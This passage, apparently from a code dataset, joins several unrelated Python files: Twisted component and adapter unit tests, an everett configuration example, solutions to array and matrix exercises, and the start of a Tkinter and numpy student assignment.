self.assertIs(componentized.getComponent(ITest), obj)\n\n\n    def test_unsetComponent(self):\n        \"\"\"\n        C{Componentized.setComponent} removes the cached component for the\n        given interface.\n        \"\"\"\n        componentized = components.Componentized()\n        obj = object()\n        componentized.setComponent(ITest, obj)\n        componentized.unsetComponent(ITest)\n        self.assertIsNone(componentized.getComponent(ITest))\n\n\n    def test_reprableComponentized(self):\n        \"\"\"\n        C{ReprableComponentized} has a C{__repr__} that lists its cache.\n        \"\"\"\n        rc = components.ReprableComponentized()\n        rc.setComponent(ITest, \"hello\")\n        result = repr(rc)\n        self.assertIn(\"ITest\", result)\n        self.assertIn(\"hello\", result)\n\n\n\nclass AdapterTests(unittest.SynchronousTestCase):\n    \"\"\"Test adapters.\"\"\"\n\n    def testAdapterGetComponent(self):\n        o = object()\n        a = Adept(o)\n        self.assertRaises(components.CannotAdapt, ITest, a)\n        self.assertIsNone(ITest(a, None))\n\n\n\nclass IMeta(Interface):\n    pass\n\n\n\n@implementer(IMeta)\nclass MetaAdder(components.Adapter):\n    def add(self, num):\n        return self.original.num + num\n\n\n\n@implementer(IMeta)\nclass BackwardsAdder(components.Adapter):\n    def add(self, num):\n        return self.original.num - num\n\n\n\nclass MetaNumber(object):\n    \"\"\"\n    Integer wrapper for Interface adaptation tests.\n    \"\"\"\n    def __init__(self, num):\n        self.num = num\n\n\n\nclass ComponentNumber(components.Componentized):\n    def __init__(self):\n        self.num = 0\n        components.Componentized.__init__(self)\n\n\n\n@implementer(IMeta)\nclass ComponentAdder(components.Adapter):\n    \"\"\"\n    Adder for componentized adapter tests.\n    \"\"\"\n    def __init__(self, original):\n        components.Adapter.__init__(self, original)\n        self.num = self.original.num\n\n\n    def add(self, num):\n        self.num += num\n        return self.num\n\n\n\nclass IAttrX(Interface):\n    \"\"\"\n    Base interface for test of adapter with C{__cmp__}.\n    \"\"\"\n    def x():\n        \"\"\"\n        Return a value.\n        \"\"\"\n\n\n\nclass IAttrXX(Interface):\n    \"\"\"\n    Adapted interface for test of adapter with C{__cmp__}.\n    \"\"\"\n    def xx():\n        \"\"\"\n        Return a tuple of values.\n        \"\"\"\n\n\n\n@implementer(IAttrX)\nclass Xcellent(object):\n    \"\"\"\n    L{IAttrX} implementation for test of adapter with C{__cmp__}.\n    \"\"\"\n    def x(self):\n        \"\"\"\n        Return a value.\n\n        @return: a value\n        \"\"\"\n        return 'x!'\n\n\n\n@comparable\nclass DoubleXAdapter(object):\n    \"\"\"\n    Adapter with __cmp__.\n    \"\"\"\n    num = 42\n    def __init__(self, original):\n        self.original = original\n\n\n    def xx(self):\n        return (self.original.x(), self.original.x())\n\n\n    def __cmp__(self, other):\n        return cmp(self.num, other.num)\n\n\n\nclass MetaInterfaceTests(RegistryUsingMixin, unittest.SynchronousTestCase):\n    def test_basic(self):\n        \"\"\"\n        Registered adapters can be used to adapt classes to an interface.\n        \"\"\"\n        components.registerAdapter(MetaAdder, MetaNumber, IMeta)\n        n = MetaNumber(1)\n        self.assertEqual(IMeta(n).add(1), 2)\n\n    def testComponentizedInteraction(self):\n        components.registerAdapter(ComponentAdder, ComponentNumber, IMeta)\n        c = ComponentNumber()\n        IMeta(c).add(1)\n        IMeta(c).add(1)\n        self.assertEqual(IMeta(c).add(1), 3)\n\n    def testAdapterWithCmp(self):\n        # Make sure that a __cmp__ on an adapter doesn't break anything\n        components.registerAdapter(DoubleXAdapter, IAttrX, IAttrXX)\n        xx = IAttrXX(Xcellent())\n        self.assertEqual(('x!', 'x!'), xx.xx())\n\n\nclass RegistrationTests(RegistryUsingMixin, unittest.SynchronousTestCase):\n    \"\"\"\n    Tests for adapter registration.\n    \"\"\"\n    def _registerAdapterForClassOrInterface(self, original):\n        \"\"\"\n        Register an adapter with L{components.registerAdapter} for the given\n        class or interface and verify that the adapter can be looked up with\n        L{components.getAdapterFactory}.\n        \"\"\"\n        adapter = lambda o: None\n        components.registerAdapter(adapter, original, ITest)\n        self.assertIs(\n            components.getAdapterFactory(original, ITest, None),\n            adapter)\n\n\n    def test_registerAdapterForClass(self):\n        \"\"\"\n        Test that an adapter from a class can be registered and then looked\n        up.\n        \"\"\"\n        class TheOriginal(object):\n            pass\n        return self._registerAdapterForClassOrInterface(TheOriginal)\n\n\n    def test_registerAdapterForInterface(self):\n        \"\"\"\n        Test that an adapter from an interface can be registered and then\n        looked up.\n        \"\"\"\n        return self._registerAdapterForClassOrInterface(ITest2)\n\n\n    def _duplicateAdapterForClassOrInterface(self, original):\n        \"\"\"\n        Verify that L{components.registerAdapter} raises L{ValueError} if the\n        from-type/interface and to-interface pair is not unique.\n        \"\"\"\n        firstAdapter = lambda o: False\n        secondAdapter = lambda o: True\n        components.registerAdapter(firstAdapter, original, ITest)\n        self.assertRaises(\n            ValueError,\n            components.registerAdapter,\n            secondAdapter, original, ITest)\n        # Make sure that the original adapter is still around as well\n        self.assertIs(\n            components.getAdapterFactory(original, ITest, None),\n            firstAdapter)\n\n\n    def test_duplicateAdapterForClass(self):\n        \"\"\"\n        Test that attempting to register a second adapter from a class\n        raises the appropriate exception.\n        \"\"\"\n        class TheOriginal(object):\n            pass\n        return self._duplicateAdapterForClassOrInterface(TheOriginal)\n\n\n    def test_duplicateAdapterForInterface(self):\n        \"\"\"\n        Test that attempting to register a second adapter from an interface\n        raises the appropriate exception.\n        \"\"\"\n        return self._duplicateAdapterForClassOrInterface(ITest2)\n\n\n    def _duplicateAdapterForClassOrInterfaceAllowed(self, original):\n        \"\"\"\n        Verify that when C{components.ALLOW_DUPLICATES} is set to C{True}, new\n        adapter registrations for a particular from-type/interface and\n        to-interface pair replace older registrations.\n        \"\"\"\n        firstAdapter = lambda o: False\n        secondAdapter = lambda o: True\n        class TheInterface(Interface):\n            pass\n        components.registerAdapter(firstAdapter, original, TheInterface)\n        components.ALLOW_DUPLICATES = True\n        try:\n            components.registerAdapter(secondAdapter, original, TheInterface)\n            self.assertIs(\n                components.getAdapterFactory(original, TheInterface, None),\n                secondAdapter)\n        finally:\n            components.ALLOW_DUPLICATES = False\n\n        # It should be rejected again at this point\n        self.assertRaises(\n            ValueError,\n            components.registerAdapter,\n            firstAdapter, original, TheInterface)\n\n        self.assertIs(\n            components.getAdapterFactory(original, TheInterface, None),\n            secondAdapter)\n\n\n    def test_duplicateAdapterForClassAllowed(self):\n        \"\"\"\n        Test that when L{components.ALLOW_DUPLICATES} is set to a true\n        value, duplicate registrations from classes are allowed to override\n        the original registration.\n        \"\"\"\n        class TheOriginal(object):\n            pass\n        return self._duplicateAdapterForClassOrInterfaceAllowed(TheOriginal)\n\n\n    def test_duplicateAdapterForInterfaceAllowed(self):\n        \"\"\"\n        Test that when L{components.ALLOW_DUPLICATES} is set to a true\n        value, duplicate registrations from interfaces are allowed to\n        override the original registration.\n        \"\"\"\n        class TheOriginal(Interface):\n            pass\n        return self._duplicateAdapterForClassOrInterfaceAllowed(TheOriginal)\n\n\n    def _multipleInterfacesForClassOrInterface(self, original):\n        \"\"\"\n        Verify that an adapter can be registered for multiple to-interfaces at a\n        time.\n        \"\"\"\n        adapter = lambda o: None\n        components.registerAdapter(adapter, original, ITest, ITest2)\n        self.assertIs(\n            components.getAdapterFactory(original, ITest, None), adapter)\n        self.assertIs(\n            components.getAdapterFactory(original, ITest2, None), adapter)\n\n\n    def test_multipleInterfacesForClass(self):\n        \"\"\"\n        Test the registration of an adapter from a class to several\n        interfaces at once.\n        \"\"\"\n        class TheOriginal(object):\n            pass\n        return self._multipleInterfacesForClassOrInterface(TheOriginal)\n\n\n    def test_multipleInterfacesForInterface(self):\n        \"\"\"\n        Test the registration of an adapter from an interface to several\n        interfaces at once.\n        \"\"\"\n        return self._multipleInterfacesForClassOrInterface(ITest3)\n\n\n    def _subclassAdapterRegistrationForClassOrInterface(self, original):\n        \"\"\"\n        Verify that a new adapter can be registered for a particular\n        to-interface from a subclass of a type or interface which already has an\n        adapter registered to that interface and that the subclass adapter takes\n        precedence over the base class adapter.\n        \"\"\"\n        firstAdapter = lambda o: True\n        secondAdapter = lambda o: False\n        class TheSubclass(original):\n            pass\n        components.registerAdapter(firstAdapter, original, ITest)\n        components.registerAdapter(secondAdapter, TheSubclass, ITest)\n        self.assertIs(\n            components.getAdapterFactory(original, ITest, None),\n            firstAdapter)\n        self.assertIs(\n            components.getAdapterFactory(TheSubclass, ITest, None),\n            secondAdapter)\n\n\n    def test_subclassAdapterRegistrationForClass(self):\n        \"\"\"\n        Test that an adapter to a particular interface can be registered\n        from both a class and its subclass.\n        \"\"\"\n        class TheOriginal(object):\n            pass\n        return self._subclassAdapterRegistrationForClassOrInterface(TheOriginal)\n\n\n    def test_subclassAdapterRegistrationForInterface(self):\n        \"\"\"\n        Test that an adapter to a particular interface can be registered\n        from both an interface and its subclass.\n        \"\"\"\n        return self._subclassAdapterRegistrationForClassOrInterface(ITest2)\n\n\n\nclass IProxiedInterface(Interface):\n    \"\"\"\n    An interface class for use by L{proxyForInterface}.\n    \"\"\"\n\n    ifaceAttribute = Attribute(\"\"\"\n        An example declared attribute, which should be proxied.\"\"\")\n\n    def yay(*a, **kw):\n        \"\"\"\n        A sample method which should be proxied.\n        \"\"\"\n\nclass IProxiedSubInterface(IProxiedInterface):\n    \"\"\"\n    An interface that derives from another for use with L{proxyForInterface}.\n    \"\"\"\n\n    def boo(self):\n        \"\"\"\n        A different sample method which should be proxied.\n        \"\"\"\n\n\n@implementer(IProxiedInterface)\nclass Yayable(object):\n    \"\"\"\n    A provider of L{IProxiedInterface} which increments a counter for\n    every call to C{yay}.\n\n    @ivar yays: The number of times C{yay} has been called.\n    \"\"\"\n\n    def __init__(self):\n        self.yays = 0\n        self.yayArgs = []\n\n    def yay(self, *a, **kw):\n        \"\"\"\n        Increment C{self.yays}.\n        \"\"\"\n        self.yays += 1\n        self.yayArgs.append((a, kw))\n        return self.yays\n\n\n\n@implementer(IProxiedSubInterface)\nclass Booable(object):\n    \"\"\"\n    An implementation of IProxiedSubInterface\n    \"\"\"\n    yayed = False\n    booed = False\n    def yay(self):\n        \"\"\"\n        Mark the fact that 'yay' has been called.\n        \"\"\"\n        self.yayed = True\n\n\n    def boo(self):\n        \"\"\"\n        Mark the fact that 'boo' has been called.1\n        \"\"\"\n        self.booed = True\n\n\n\nclass IMultipleMethods(Interface):\n    \"\"\"\n    An interface with multiple methods.\n    \"\"\"\n\n    def methodOne():\n        \"\"\"\n        The first method. Should return 1.\n        \"\"\"\n\n    def methodTwo():\n        \"\"\"\n        The second method. Should return 2.\n        \"\"\"\n\n\n\nclass MultipleMethodImplementor(object):\n    \"\"\"\n    A precise implementation of L{IMultipleMethods}.\n    \"\"\"\n\n    def methodOne(self):\n        \"\"\"\n        @return: 1\n        \"\"\"\n        return 1\n\n\n    def methodTwo(self):\n        \"\"\"\n        @return: 2\n        \"\"\"\n        return 2\n\n\n\nclass ProxyForInterfaceTests(unittest.SynchronousTestCase):\n    \"\"\"\n    Tests for L{proxyForInterface}.\n    \"\"\"\n\n    def test_original(self):\n        \"\"\"\n        Proxy objects should have an C{original} attribute which refers to the\n        original object passed to the constructor.\n        \"\"\"\n        original = object()\n        proxy = proxyForInterface(IProxiedInterface)(original)\n        self.assertIs(proxy.original, original)\n\n\n    def test_proxyMethod(self):\n        \"\"\"\n        The class created from L{proxyForInterface} passes methods on an\n        interface to the object which is passed to its constructor.\n        \"\"\"\n        klass = proxyForInterface(IProxiedInterface)\n        yayable = Yayable()\n        proxy = klass(yayable)\n        proxy.yay()\n        self.assertEqual(proxy.yay(), 2)\n        self.assertEqual(yayable.yays, 2)\n\n\n    def test_decoratedProxyMethod(self):\n        \"\"\"\n        Methods of the class created from L{proxyForInterface} can be used with\n        the decorator-helper L{functools.wraps}.\n        \"\"\"\n        base = proxyForInterface(IProxiedInterface)\n        class klass(base):\n            @wraps(base.yay)\n            def yay(self):\n                self.original.yays += 1\n                return base.yay(self)\n\n        original = Yayable()\n        yayable = klass(original)\n        yayable.yay()\n        self.assertEqual(2, original.yays)\n\n\n    def test_proxyAttribute(self):\n        \"\"\"\n        Proxy objects should proxy declared attributes, but not other\n        attributes.\n        \"\"\"\n        yayable = Yayable()\n        yayable.ifaceAttribute = object()\n        proxy = proxyForInterface(IProxiedInterface)(yayable)\n        self.assertIs(proxy.ifaceAttribute, yayable.ifaceAttribute)\n        self.assertRaises(AttributeError, lambda: proxy.yays)\n\n\n    def test_proxySetAttribute(self):\n        \"\"\"\n        The attributes that proxy objects proxy should be assignable and affect\n        the original object.\n        \"\"\"\n        yayable = Yayable()\n        proxy = proxyForInterface(IProxiedInterface)(yayable)\n        thingy = object()\n        proxy.ifaceAttribute = thingy\n        self.assertIs(yayable.ifaceAttribute, thingy)\n\n\n    def test_proxyDeleteAttribute(self):\n        \"\"\"\n        The attributes that proxy objects proxy should be deletable and affect\n        the original object.\n        \"\"\"\n        yayable = Yayable()\n        yayable.ifaceAttribute = None\n        proxy = proxyForInterface(IProxiedInterface)(yayable)\n        del proxy.ifaceAttribute\n        self.assertFalse(hasattr(yayable, 'ifaceAttribute'))\n\n\n    def test_multipleMethods(self):\n        \"\"\"\n        [Regression test] The proxy should send its method calls to the correct\n        method, not the incorrect one.\n        \"\"\"\n        multi = MultipleMethodImplementor()\n        proxy = proxyForInterface(IMultipleMethods)(multi)\n        self.assertEqual(proxy.methodOne(), 1)\n        self.assertEqual(proxy.methodTwo(), 2)\n\n\n    def test_subclassing(self):\n        \"\"\"\n        It is possible to subclass the result of L{proxyForInterface}.\n        \"\"\"\n\n        class SpecializedProxy(proxyForInterface(IProxiedInterface)):\n            \"\"\"\n            A specialized proxy which can decrement the number of yays.\n            \"\"\"\n            def boo(self):\n                \"\"\"\n                Decrement the number of yays.\n                \"\"\"\n                self.original.yays -= 1\n\n        yayable = Yayable()\n        special = SpecializedProxy(yayable)\n        self.assertEqual(yayable.yays, 0)\n        special.boo()\n        self.assertEqual(yayable.yays, -1)\n\n\n    def test_proxyName(self):\n        \"\"\"\n        The name of a proxy class indicates which interface it proxies.\n        \"\"\"\n        proxy = proxyForInterface(IProxiedInterface)\n        self.assertEqual(\n            proxy.__name__,\n            \"(Proxy for \"\n            \"twisted.python.test.test_components.IProxiedInterface)\")\n\n\n    def test_implements(self):\n        \"\"\"\n        The resulting proxy implements the interface that it proxies.\n        \"\"\"\n        proxy = proxyForInterface(IProxiedInterface)\n        self.assertTrue(IProxiedInterface.implementedBy(proxy))\n\n\n    def test_proxyDescriptorGet(self):\n        \"\"\"\n        _ProxyDescriptor's __get__ method should return the appropriate\n        attribute of its argument's 'original' attribute if it is invoked with\n        an object.  If it is invoked with None, it should return a false\n        class-method emulator instead.\n\n        For some reason, Python's documentation recommends to define\n        descriptors' __get__ methods with the 'type' parameter as optional,\n        despite the fact that Python itself never actually calls the descriptor\n        that way.  This is probably do to support 'foo.__get__(bar)' as an\n        idiom.  Let's make sure that the behavior is correct.  Since we don't\n        actually use the 'type' argument at all, this test calls it the\n        idiomatic way to ensure that signature works; test_proxyInheritance\n        verifies the how-Python-actually-calls-it signature.\n        \"\"\"\n        class Sample(object):\n            called = False\n            def hello(self):\n                self.called = True\n        fakeProxy = Sample()\n        testObject = Sample()\n        fakeProxy.original = testObject\n        pd = components._ProxyDescriptor(\"hello\", \"original\")\n        self.assertEqual(pd.__get__(fakeProxy), testObject.hello)\n        fakeClassMethod = pd.__get__(None)\n        fakeClassMethod(fakeProxy)\n        self.assertTrue(testObject.called)\n\n\n    def test_proxyInheritance(self):\n        \"\"\"\n        Subclasses of the class returned from L{proxyForInterface} should be\n        able to upcall methods by reference to their superclass, as any normal\n        Python class can.\n        \"\"\"\n        class YayableWrapper(proxyForInterface(IProxiedInterface)):\n            \"\"\"\n            This class does not override any functionality.\n            \"\"\"\n\n        class EnhancedWrapper(YayableWrapper):\n            \"\"\"\n            This class overrides the 'yay' method.\n            \"\"\"\n            wrappedYays = 1\n            def yay(self, *a, **k):\n                self.wrappedYays += 1\n                return YayableWrapper.yay(self, *a, **k) + 7\n\n        yayable = Yayable()\n        wrapper = EnhancedWrapper(yayable)\n        self.assertEqual(wrapper.yay(3, 4, x=5, y=6), 8)\n        self.assertEqual(yayable.yayArgs,\n                          [((3, 4), dict(x=5, y=6))])\n\n\n    def test_interfaceInheritance(self):\n        \"\"\"\n        Proxies of subinterfaces generated with proxyForInterface should allow\n        access to attributes of both the child and the base interfaces.\n        \"\"\"\n        proxyClass = proxyForInterface(IProxiedSubInterface)\n        booable = Booable()\n        proxy = proxyClass(booable)\n        proxy.yay()\n        proxy.boo()\n        self.assertTrue(booable.yayed)\n        self.assertTrue(booable.booed)\n\n\n    def test_attributeCustomization(self):\n        \"\"\"\n        The original attribute name can be customized via the\n        C{originalAttribute} argument of L{proxyForInterface}: the attribute\n        should change, but the methods of the original object should still be\n        callable, and the attributes still accessible.\n        \"\"\"\n        yayable = Yayable()\n        yayable.ifaceAttribute = object()\n        proxy = proxyForInterface(\n            IProxiedInterface, originalAttribute='foo')(yayable)\n        self.assertIs(proxy.foo, yayable)\n\n        # Check the behavior\n        self.assertEqual(proxy.yay(), 1)\n        self.assertIs(proxy.ifaceAttribute, yayable.ifaceAttribute)\n        thingy = object()\n        proxy.ifaceAttribute = thingy\n        self.assertIs(yayable.ifaceAttribute, thingy)\n        del proxy.ifaceAttribute\n        self.assertFalse(hasattr(yayable, 'ifaceAttribute'))\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/python/test/test_components.py","file_name":"test_components.py","file_ext":"py","file_size_in_byte":25844,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"24324879873","text":"import os\n\nfrom everett.component import RequiredConfigMixin, ConfigOptions\nfrom everett.manager import ConfigManager, parse_class\n\n\nclass App(RequiredConfigMixin):\n    required_config = ConfigOptions()\n    required_config.add_option(\n        'basedir'\n    )\n    required_config.add_option(\n        'reader',\n        parser=parse_class\n    )\n    required_config.add_option(\n        'writer',\n        parser=parse_class\n    )\n\n    def __init__(self, config):\n        self.config = config.with_options(self)\n\n        self.basedir = self.config('basedir')\n        self.reader = self.config('reader')(config, self.basedir)\n        self.writer = self.config('writer')(config, self.basedir)\n\n\nclass FSReader(RequiredConfigMixin):\n    required_config = ConfigOptions()\n    required_config.add_option(\n        'file_type',\n        default='json'\n    )\n\n    def __init__(self, config, basedir):\n        self.config = config.with_options(self)\n        self.read_dir = os.path.join(basedir, 'read')\n\n\nclass FSWriter(RequiredConfigMixin):\n    required_config = ConfigOptions()\n    required_config.add_option(\n        'file_type',\n        default='json'\n    )\n\n    def __init__(self, config, basedir):\n        self.config = config.with_options(self)\n        self.write_dir = os.path.join(basedir, 'write')\n\n\nconfig = ConfigManager.from_dict({\n    'BASEDIR': '/tmp',\n    'READER': '__main__.FSReader',\n    'WRITER': '__main__.FSWriter',\n\n    'READER_FILE_TYPE': 'json',\n\n    'WRITER_FILE_TYPE': 'yaml'\n})\n\n\napp = App(config)\nassert app.reader.read_dir == '/tmp/read'\nassert app.writer.write_dir == '/tmp/write'\n","repo_name":"vault-the/everett","sub_path":"docs/code/recipes_shared.py","file_name":"recipes_shared.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"25684292891","text":"\r\n\r\n\r\n####-----------------------------------------------------ASSIGNMENT 06--------------------------------------------####\r\n\r\n###=================QUESTION #1================================###\r\n\r\ndef findPermutation(s):\r\n    perm = []\r\n    low, high = 0, len(s) + 1\r\n\r\n    for c in s:\r\n        if c == 'I':\r\n            perm.append(low)\r\n            low += 1\r\n        elif c == 'D':\r\n            perm.append(high)\r\n            high -= 1\r\n\r\n    perm.append(low)\r\n    return perm\r\n\r\n\r\ns = \"IDID\"\r\nresult = findPermutation(s)\r\nprint(result)\r\n\r\n\r\n\r\n###=================QUESTION #2================================###\r\n\r\ndef searchMatrix(matrix, target):\r\n    m, n = len(matrix), len(matrix[0])\r\n    left, right = 0, m * n - 1\r\n\r\n    while left <= right:\r\n        mid = (left + right) // 2\r\n        row, col = divmod(mid, n)\r\n        if matrix[row][col] == target:\r\n            return True\r\n        elif matrix[row][col] < target:\r\n            left = mid + 1\r\n        else:\r\n            right = mid - 1\r\n\r\n    return False\r\n\r\n\r\nmatrix = [[1, 3, 5, 7], [10, 11, 16, 20], [23, 30, 34, 60]]\r\ntarget = 3\r\nresult = searchMatrix(matrix, target)\r\nprint(result)\r\n\r\n\r\n###=================QUESTION #3================================###\r\n\r\ndef validMountainArray(arr):\r\n    n = len(arr)\r\n    if n < 3:\r\n        return False\r\n\r\n    i = 1\r\n    while i < n and arr[i] > arr[i - 1]:\r\n        i += 1\r\n\r\n    if i == 1 or i == n:\r\n        return False\r\n\r\n    while i < n and arr[i] < arr[i - 1]:\r\n        i += 1\r\n\r\n    return i == n\r\n\r\n\r\narr = [2, 1]\r\nresult = validMountainArray(arr)\r\nprint(result)\r\n\r\n\r\n###=================QUESTION #4================================###\r\n\r\ndef findMaxLength(nums):\r\n    max_length = 0\r\n    sum_map = {0: -1}\r\n    running_sum = 0\r\n\r\n    for i, num in enumerate(nums):\r\n        if num == 1:\r\n            running_sum += 1\r\n        else:\r\n            running_sum -= 1\r\n\r\n        if running_sum in sum_map:\r\n            max_length = max(max_length, i - sum_map[running_sum])\r\n        else:\r\n            sum_map[running_sum] = i\r\n\r\n    return max_length\r\n\r\n\r\nnums = [0, 1]\r\nresult = findMaxLength(nums)\r\nprint(result)\r\n\r\n\r\n###=================QUESTION #5================================###\r\n\r\ndef minProductSum(nums1, nums2):\r\n    nums1.sort()\r\n    nums2.sort()\r\n    min_product_sum = 0\r\n\r\n    for i in range(len(nums1)):\r\n        min_product_sum += nums1[i] * nums2[-i - 1]\r\n\r\n    return min_product_sum\r\n\r\n\r\nnums1 = [5, 3, 4, 2]\r\nnums2 = [4, 2, 2, 5]\r\nresult = minProductSum(nums1, nums2)\r\nprint(result)\r\n\r\n\r\n###=================QUESTION #6================================###\r\n\r\nfrom collections import Counter\r\n\r\ndef findOriginalArray(changed):\r\n    if len(changed) % 2 != 0:\r\n        return []\r\n\r\n    counter = Counter(changed)\r\n    original = []\r\n\r\n    for num in sorted(changed):\r\n        if counter[num] == 0:\r\n            continue\r\n        if counter[num * 2] == 0:\r\n            return []\r\n        \r\n        original.append(num)\r\n        counter[num] -= 1\r\n        counter[num * 2] -= 1\r\n\r\n    return original\r\n\r\n\r\nchanged = [1, 3, 4, 2, 6, 8]\r\nresult = findOriginalArray(changed)\r\nprint(result)\r\n\r\n###=================QUESTION #7================================###\r\n\r\ndef generateMatrix(n):\r\n    matrix = [[0] * n for _ in range(n)]\r\n    num = 1\r\n    top = 0\r\n    bottom = n - 1\r\n    left = 0\r\n    right = n - 1\r\n\r\n    while num <= n * n:\r\n        # Traverse top row from left to right\r\n        for i in range(left, right + 1):\r\n            matrix[top][i] = num\r\n            num += 1\r\n        top += 1\r\n\r\n        # Traverse right column from top to bottom\r\n        for i in range(top, bottom + 1):\r\n            matrix[i][right] = num\r\n            num += 1\r\n        right -= 1\r\n\r\n        # Traverse bottom row from right to left\r\n        for i in range(right, left - 1, -1):\r\n            matrix[bottom][i] = num\r\n            num += 1\r\n        bottom -= 1\r\n\r\n        # Traverse left column from bottom to top\r\n        for i in range(bottom, top - 1, -1):\r\n            matrix[i][left] = num\r\n            num += 1\r\n        left += 1\r\n\r\n    return matrix\r\n\r\n\r\nn = 3\r\nresult = generateMatrix(n)\r\nfor row in result:\r\n    print(row)\r\n\r\n\r\n###=================QUESTION #8================================###\r\n\r\ndef multiply(mat1, mat2):\r\n    m = len(mat1)  # Number of rows in mat1\r\n    k = len(mat1[0])  # Number of columns in mat1 / Number of rows in mat2\r\n    n = len(mat2[0])  # Number of columns in mat2\r\n    \r\n    # Initialize the result matrix with zeros\r\n    result = [[0] * n for _ in range(m)]\r\n    \r\n    # Perform matrix multiplication\r\n    for i in range(m):\r\n        for j in range(n):\r\n            for l in range(k):\r\n                result[i][j] += mat1[i][l] * mat2[l][j]\r\n    \r\n    return result\r\n\r\n\r\nmat1 = [[1,0,0],[-1,0,3]]\r\nmat2 = [[7,0,0],[0,0,0],[0,0,1]]\r\n\r\nresult = multiply(mat1, mat2)\r\nfor row in result:\r\n    print(row)\r\n","repo_name":"pabhi199/Assignment_array-DSA-","sub_path":"Assignment Answer 06.py","file_name":"Assignment Answer 06.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2729957832","text":"# Raina , Kush \n# 1001-567-809\n# 2018-10-29\n# Assignment-04-01\nimport sys\nimport random\nimport time\nimport os\nimport scipy.misc\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom numpy.linalg import inv\n\n\n\n\n\nif sys.version_info[0] < 3:\n    import Tkinter as tk\nelse:\n    import tkinter as tk\nfrom tkinter import simpledialog\nfrom tkinter import filedialog\nimport matplotlib\nfrom mpl_toolkits.mplot3d import Axes3D\n\nmatplotlib.use('TkAgg')\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nimport matplotlib.backends.tkagg as tkagg\nfrom matplotlib.colors import LinearSegmentedColormap,ListedColormap\n\nclass MainWindow(tk.Tk):\n\n\n    \"\"\"\n    This class creates and controls the main window frames and widgets\n    Kush Raina 2018_06_03\n    \"\"\"\n   \n        # set the properties of the row and columns in the master frame\n        # self.master_frame.rowconfigure(0, weight=1,uniform='xx')\n        # self.master_frame.rowconfigure(1, weight=1, uniform='xx')\n        # self.master_frame.rowconfigure(1, weight=20, minsize=400, uniform='xx')\n    def generate_Random_Weights(self,file_name):\n        self.weight_Matrix=np.random.uniform(-0.001,0.001,7840)\n        \n        self.weight_Matrix=np.reshape(self.weight_Matrix,(10,784))\n         # reshape to column vector and return it \n\n       \n    def read_one_image_and_convert_to_vector(self,file_name):\n        img = scipy.misc.imread(file_name).astype(np.float32) # read image and convert to float\n        #print(img.reshape(-1,1))\n        return img.reshape(-1,1) # reshape to column vector and return it\n\n    def convert_images_toVectors(self,file_name):\n        img = scipy.misc.imread(file_name).astype(np.float32) # read image and convert to float\n        #print(img.reshape(-1,1))\n        return img.reshape(-1,1) # reshape to column vector and return it\n  \n    \n    def normalize(self,img):\n        img=np.true_divide(img, 127.5) # read image and convert to float\n        img=np.subtract(img,1)\n        #print(img)\n        return img # reshape to column vector and return it \n    \n    \n\n        #print(img)\n        \n\n    def __init__(self, debug_print_flag=False):\n        tk.Tk.__init__(self)\n#        files=os.listdir(\"Data\")\n#        self.flag=True\n#        \n#        self.weight_Matrix=np.random.uniform(-0.001,0.001,7840)\n#        \n#        self.weight_Matrix=np.reshape(self.weight_Matrix,(10,784))\n#        for file in files:\n#            print(\"file \",file)\n#            \n#            img=self.read_one_image_and_convert_to_vector(\"Data/\"+file)\n#            img=self.normalize(img)\n#            label=float(file[0])\n#            img=np.row_stack((img,label))\n#            print(img)\n#         \n#            #img=np.transpose(img)\n#            if self.flag:\n#                final=np.copy(img)\n#                self.flag=False\n#            else:\n#                final=np.column_stack((final,img))\n#                print(final)\n#        \n#        \n#        final=final.transpose()   \n#        np.random.shuffle(final)\n#        train = final[:800, :]\n#        test=final[800:, :]\n        \n        self.debug_print_flag = debug_print_flag\n        self.master_frame = tk.Frame(self)\n        self.master_frame.grid(row=0, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.rowconfigure(0, weight=1, minsize=500)\n        self.columnconfigure(0, weight=1, minsize=500)\n        \n        # set the properties of the row and columns in the master frame\n        # self.master_frame.rowconfigure(0, weight=1,uniform='xx')\n        # self.master_frame.rowconfigure(1, weight=1, uniform='xx')\n        # self.master_frame.rowconfigure(1, weight=20, minsize=400, uniform='xx')\n        self.master_frame.rowconfigure(2, weight=1, minsize=10, uniform='xx')\n        self.master_frame.columnconfigure(0, weight=1, minsize=200, uniform='xx')\n        #self.master_frame.columnconfigure(1, weight=1, minsize=200, uniform='xx')\n        # create all the widgetsself.menu_bar=null; \n        self.menu_bar = MenuBar(self, self.master_frame, background='red')\n        self.tool_bar = ToolBar(self, self.master_frame)\n        self.left_frame = tk.Frame(self.master_frame)\n        self.right_frame = tk.Frame(self.master_frame)\n        self.status_bar = StatusBar(self, self.master_frame, bd=1, relief=tk.SUNKEN)\n        # Arrange the widgets\n        #self.menu_bar.grid(row=0, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.tool_bar.grid(row=1, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.left_frame.grid(row=2, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n        #self.right_frame.grid(row=2, column=1, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.status_bar.grid(row=3, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n        # Create an object for plotting graphs in the left frame\n        self.display_activation_functions = LeftFrame(self, self.left_frame, debug_print_flag=self.debug_print_flag)\n        # Create an object for displaying graphics in the right frame\n        #self.display_graphics = RightFrame(self, self.right_frame, debug_print_flag=self.debug_print_flag)\n\n\nclass MenuBar(tk.Frame):\n    def __init__(self, root, master, *args, **kwargs):\n        tk.Frame.__init__(self, master, *args, **kwargs)\n        self.root = root\n        self.menu = tk.Menu(self.root)\n        root.config(menu=self.menu)\n        #self.file_menu = tk.Menu(self.menu)\n        #self.menu.add_cascade(label=\"File\", menu=self.file_menu)\n        